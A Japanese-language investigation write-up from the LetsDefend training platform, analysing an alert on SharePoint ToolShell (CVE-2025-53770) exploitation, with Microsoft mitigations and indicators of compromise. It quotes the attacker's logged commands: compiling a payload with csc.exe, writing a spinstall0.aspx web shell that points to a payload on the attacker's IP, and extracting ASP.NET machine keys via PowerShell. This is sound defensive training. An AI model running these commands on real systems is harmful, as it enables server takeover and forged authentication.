SOC342---CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-and-RCE

これは、Let’s Defend プラットフォームで実施された調査であり、最近の SharePoint の CVE に基づいています。見てみましょう。

1. ルール名を調べます。ルール名は通常、検出対象の攻撃に特化して作成されます。ルール名を調べることで、直面している攻撃を理解できます。

SOC342 ルールは、脆弱な ToolPane.aspx ページを標的とした未認証の POST リクエストを検出しました。その特徴は次のとおりです。

• 大きなペイロード（Content-Length: 7699）
• 発信元を偽装するために使用されたとみられる不審なリファラー（SignOut.aspx）
• ToolShell の脆弱性の悪用と一致する動作

2. トラフィックがどの2つのデバイス間で発生しているかを検出します。

外部ユーザー（IP: 107.191.58.76）が、内部の SharePoint サーバー（172.16.20.17）に細工したリクエストを送信しました。

エンドポイントのログを分析します

w3wp.exe プロセスがエンコードされた PowerShell コマンドを実行していることは、潜在的なエクスプロイトまたは侵害後の活動（例: 隠されたペイロードの実行）を示している可能性があります。

SharePoint 環境では、この動作が想定内なのか、悪用を表しているのかを検証することが重要です。

コマンドは base64 を使用して難読化されています

このペイロードにより、攻撃者は実行中のマシンから重要な ASP.NET 構成キーを抽出して出力できます。

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs

"C:\Windows\System32\cmd.exe" /c echo <form runat="server"> <object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"><param name="Command" value="Redirect"> <param name="Button" value="Test"> <param name="Url" value="http://107.191.58.76/payload.exe\"> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

• サーバー上で C# ソースコードから実行可能ファイルをコンパイルします。
• SharePoint のパス内に Web バックドア（悪意のある ASPX ファイル）を作成し、アクセスされると外部ペイロードが実行またはダウンロードされるようにします。

cmd.exe /c echo > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

このコマンドは、SharePoint の LAYOUTS フォルダーに spinstall0.aspx という名前のファイルを作成し、その中に の内容を書き込みます（ここでの は Web シェルのコードを表すプレースホルダーです）。

これは spinstall0.apx のハッシュです: 92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514

VirusTotal で確認してみましょう。

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "[System.Web.Configuration.MachineKeySection]::GetApplicationConfig()"

このコマンドにより、攻撃者は MachineKeySection のアプリケーション構成にアクセスし、検証キーや復号キーなどの機密性の高い暗号化キーを公開できます。

これらのキーは ASP.NET のセキュリティにとって重要であり、認証 Cookie や ViewState などを保護しています。

これらのキーを公開または取得すると、攻撃者は認証トークンを偽造したり、保護されたデータを復号したり、Web アプリケーションに対して他の攻撃を実行したりできるようになります。

MITRE ATT&CK

アナリストノート：

このアラートは、SharePoint サーバーで観測された異常な PowerShell アクティビティによって生成されました。その後、これは CVE-2025-53770 を標的とした悪用の試みであると判断されました。攻撃者はまず、C# コンパイラ（csc.exe）を使用してカスタムの C# 実行可能ファイル（payload.exe）をドロップしてコンパイルし、次に Web からアクセス可能な SharePoint ディレクトリ内に悪意のある ASPX Web シェル（spinstall0.aspx）を作成しました。その後、PowerShell コマンドを実行して、.NET リフレクションを介してサーバー構成から機密性の高い暗号化マシンキーを取得しました。この一連の動作は、永続的な制御を維持し、場合によっては認証トークンを偽造することを目的とした多段階の攻撃を示唆しています。この Web シェルは、VirusTotal の検出率 39/62 で悪意のあるものとして確認されました。このインシデントは真陽性として確認されたため、さらなる封じ込めと修復措置が推奨されます。

CVE-2025-53770 の詳細

オンプレミスの Microsoft SharePoint Server における信頼されていないデータの逆シリアル化により、認証されていない攻撃者がネットワーク経由でコードを実行できる可能性があります。マイクロソフトは、CVE-2025-53770 のエクスプロイトが実際に存在することを認識しています。マイクロソフトは、この脆弱性に対処するための包括的な更新プログラムを準備し、完全にテストしています。それまでの間、この CVE ドキュメントに記載されている緩和策が導入されていることを確認し、悪用から保護されるようにしてください。

マイクロソフトが推奨する緩和策：

1. サポートされているバージョンのオンプレミス SharePoint Server を使用する
2. 上記のリンクにある最新のセキュリティ更新プログラムを適用する
3. Microsoft Defender for Endpoint 保護、または同等の脅威ソリューションを展開する
4. Antimalware Scan Interface (AMSI) が有効で正しく構成されていることを確認し、Defender ウイルス対策などの適切なウイルス対策ソリューションを使用する
5. SharePoint Server の ASP.NET マシンキーを交換する

IoC

Spinstall0.aspx 脅威アクターによって使用された Web シェル

アクターはまた、ファイル名を spinstall.aspx、spinstall1.aspx、spinstall2.aspx などさまざまな方法で変更しています。

このレポートは、Let’s Defend プラットフォームで実施されたアクティビティに基づいています。提示されているすべての調査結果と資料は、教育目的のみで使用されます。すべての権利と所有権は Let’s Defend に帰属します。